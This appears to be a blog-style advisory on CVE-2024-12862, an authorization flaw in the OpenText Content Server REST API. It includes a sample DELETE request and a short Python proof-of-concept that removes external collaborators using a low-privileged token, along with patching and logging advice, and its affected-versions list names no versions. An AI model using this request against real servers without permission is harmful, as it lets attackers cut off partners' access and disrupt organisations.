OpenText Content Server is a widely used enterprise content management system that helps organizations store, manage, and access vast amounts of documents and information. But what happens when a simple coding mistake opens the door for unauthorized users to remove external collaborators? That’s exactly what happened in the recent vulnerability tracked as CVE-2024-12862.

In this long post, we’ll break down what this vulnerability is, how it works, and what you should do. We’ll include some example code, showcase the exploit details, and provide links for more information. This information is exclusively written for easy understanding.

What Is CVE-2024-12862?

CVE-2024-12862 describes a security bug found in the OpenText Content Server REST API. More specifically, it is an "Incorrect Authorization" problem: the software failed to verify that a user had permission to remove external collaborators. This means a regular user could potentially boot off external collaborators from projects or documents—something they should NOT be able to do.

Affected Versions:

Both Windows and Linux installations

Impact:
Someone who doesn’t have the correct rights or permissions could remove external partners or guests. Imagine a disgruntled user, or even someone who makes an accident—this could break vital business processes or confidentiality.

How the Exploit Works

The OpenText Content Server REST API is supposed to check if the user making a request is allowed to remove external collaborators. Here’s what goes wrong:

- The API call for removing an external collaborator doesn't properly check if the requester has the right permissions on the resource.

Here’s what a malicious HTTP request might look like

DELETE /api/v2/collaborators/{collaboratorId}
Authorization: Bearer {CompromisedUserToken}
Host: contentsrv.example.com
Accept: application/json

{CompromisedUserToken} is the valid access token for a low-privileged user.

Instead of getting a "403 Forbidden" response, the API might simply remove the collaborator, *no questions asked*.

Here's a Python snippet that demonstrates exploiting the flaw

import requests

api_url = "https://contentsrv.example.com/api/v2/collaborators/123456";
headers = {
    "Authorization": "Bearer eyJhbG...user_token...",
    "Accept": "application/json"
}

response = requests.delete(api_url, headers=headers)

if response.status_code == 204:
    print("Collaborator removed successfully.")
else:
    print(f"Failed: {response.status_code} - {response.text}")

Note: Never run this on a system you do not own or have explicit permission to test. This is for educational purposes only.

Why is This Serious?

- Imagine an employee angry at a company: they could quietly kick out outside consultants, partners or remote workers, who then mysteriously lose access.
- An accident could break communication with external vendors, compliance auditors or VIP stakeholders.
- The system’s logs might not clearly show *who* is responsible, if the API doesn’t log enough details.

OpenText has released patches to address CVE-2024-12862. You should

1. Update immediately to the latest version for your platform (OpenText official downloads).

Check logs for unexpected or unauthorized collaborator removals.

3. Restrict network access to the Content Server REST API, especially for users who don’t need it.

References

- NVD entry for CVE-2024-12862
- OpenText Security Advisories
- Official OpenText Patch Releases
- OpenText Content Server Documentation

Conclusion

CVE-2024-12862 isn’t the flashiest security hole, but it’s a perfect example of how a seemingly small mistake—forgetting to check permissions on an API call—can lead to major headaches. If you run OpenText Content Server, patch now, and keep an eye on your API permissions.

*As always: Software security is about details. One missing line of code can make all the difference.*

Timeline

Published on: 04/21/2025 15:15:57 UTC
Last modified on: 04/23/2025 14:08:13 UTC